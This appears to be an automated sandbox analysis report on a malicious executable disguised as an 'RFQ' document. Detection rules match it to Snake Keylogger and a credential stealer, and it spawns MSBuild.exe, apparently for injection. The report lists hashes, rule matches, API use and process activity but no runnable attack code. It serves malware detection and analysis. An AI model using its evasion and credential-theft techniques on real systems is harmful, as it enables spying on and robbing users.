Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593A98F	4_2_0593A98F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059391B8	4_2_059391B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593A9A0	4_2_0593A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059391A7	4_2_059391A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05932DA8	4_2_05932DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059379D0	4_2_059379D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059361D9	4_2_059361D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059379C0	4_2_059379C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05930DF0	4_2_05930DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05930DE0	4_2_05930DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05932918	4_2_05932918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593290A	4_2_0593290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05934908	4_2_05934908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05937508	4_2_05937508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05930950	4_2_05930950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593F158	4_2_0593F158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593F147	4_2_0593F147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593D970	4_2_0593D970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593C178	4_2_0593C178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05930960	4_2_05930960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593D960	4_2_0593D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593EC90	4_2_0593EC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593D497	4_2_0593D497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593EC81	4_2_0593EC81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05932488	4_2_05932488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593BCB2	4_2_0593BCB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593D4A8	4_2_0593D4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059304D0	4_2_059304D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593A4D8	4_2_0593A4D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593BCC0	4_2_0593BCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059304C0	4_2_059304C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593A4C8	4_2_0593A4C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05938CF0	4_2_05938CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059348F9	4_2_059348F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059374F8	4_2_059374F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05938CE1	4_2_05938CE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593A010	4_2_0593A010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05938819	4_2_05938819
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05930006	4_2_05930006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05938828	4_2_05938828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593702F	4_2_0593702F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05930040	4_2_05930040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05937040	4_2_05937040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05932477	4_2_05932477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05934478	4_2_05934478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05934467	4_2_05934467
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593E7BA	4_2_0593E7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593CFD0	4_2_0593CFD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05933FD8	4_2_05933FD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593E7C8	4_2_0593E7C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931FF8	4_2_05931FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593B7F8	4_2_0593B7F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05939FFF	4_2_05939FFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593CFE0	4_2_0593CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05933FE8	4_2_05933FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931FE8	4_2_05931FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593B7E8	4_2_0593B7E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931710	4_2_05931710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593CB16	4_2_0593CB16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593CB18	4_2_0593CB18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593B31F	4_2_0593B31F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931701	4_2_05931701
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593E300	4_2_0593E300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593B330	4_2_0593B330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05935B37	4_2_05935B37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05939B38	4_2_05939B38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05938350	4_2_05938350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05933B58	4_2_05933B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931B58	4_2_05931B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05935B48	4_2_05935B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05939B48	4_2_05939B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05933B48	4_2_05933B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05936B78	4_2_05936B78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05938360	4_2_05938360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05936B6A	4_2_05936B6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931B68	4_2_05931B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05937E98	4_2_05937E98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05931280	4_2_05931280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05939680	4_2_05939680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05937E89	4_2_05937E89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059366B0	4_2_059366B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059336BA	4_2_059336BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059356B8	4_2_059356B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059366A0	4_2_059366A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059356A9	4_2_059356A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593FAD7	4_2_0593FAD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_059336C8	4_2_059336C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593FAE8	4_2_0593FAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593E2EF	4_2_0593E2EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593F610	4_2_0593F610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05935218	4_2_05935218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05933238	4_2_05933238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593DE38	4_2_0593DE38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593F620	4_2_0593F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05933227	4_2_05933227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_05935228	4_2_05935228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593DE28	4_2_0593DE28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593C650	4_2_0593C650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593AE58	4_2_0593AE58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593C641	4_2_0593C641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593AE68	4_2_0593AE68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593126F	4_2_0593126F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0593966F	4_2_0593966F

Source: RFQ 1307.scr.exe	Binary or memory string: OriginalFilename vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.000000000382B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004648000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.000000000379B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000000.1351594666.0000000000F54000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWrgvwnn.exe0 vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1718626242.0000000006CC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameLnuydqzt.dll" vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLnuydqzt.dll" vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.00000000034AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1717291855.0000000006380000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1705782592.000000000169E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.00000000046C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.00000000046C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLnuydqzt.dll" vs RFQ 1307.scr.exe
Source: RFQ 1307.scr.exe	Binary or memory string: OriginalFilenameWrgvwnn.exe0 vs RFQ 1307.scr.exe

Source: RFQ 1307.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Bn9HxeU9KAaDCAeVphd.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Bn9HxeU9KAaDCAeVphd.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Bn9HxeU9KAaDCAeVphd.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.RFQ 1307.scr.exe.4554f78.6.raw.unpack, Bn9HxeU9KAaDCAeVphd.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, ---.cs

Base64 encoded string: '/MBc1KF63Kewnq8CL3UZeJV+VZHmGBaF/iK7KcK6/ymg+skTFBpyKeIsBPo0jayO'

Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RFQ 1307.scr.exe.4670958.3.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.RFQ 1307.scr.exe.46c0978.1.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.RFQ 1307.scr.exe.6380000.7.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@4/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Mutant created: NULL

Source: RFQ 1307.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RFQ 1307.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RFQ 1307.scr.exe

ReversingLabs: Detection: 50%

Source: unknown	Process created: C:\Users\user\Desktop\RFQ 1307.scr.exe "C:\Users\user\Desktop\RFQ 1307.scr.exe"
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Section loaded: profapi.dll	Jump to behavior
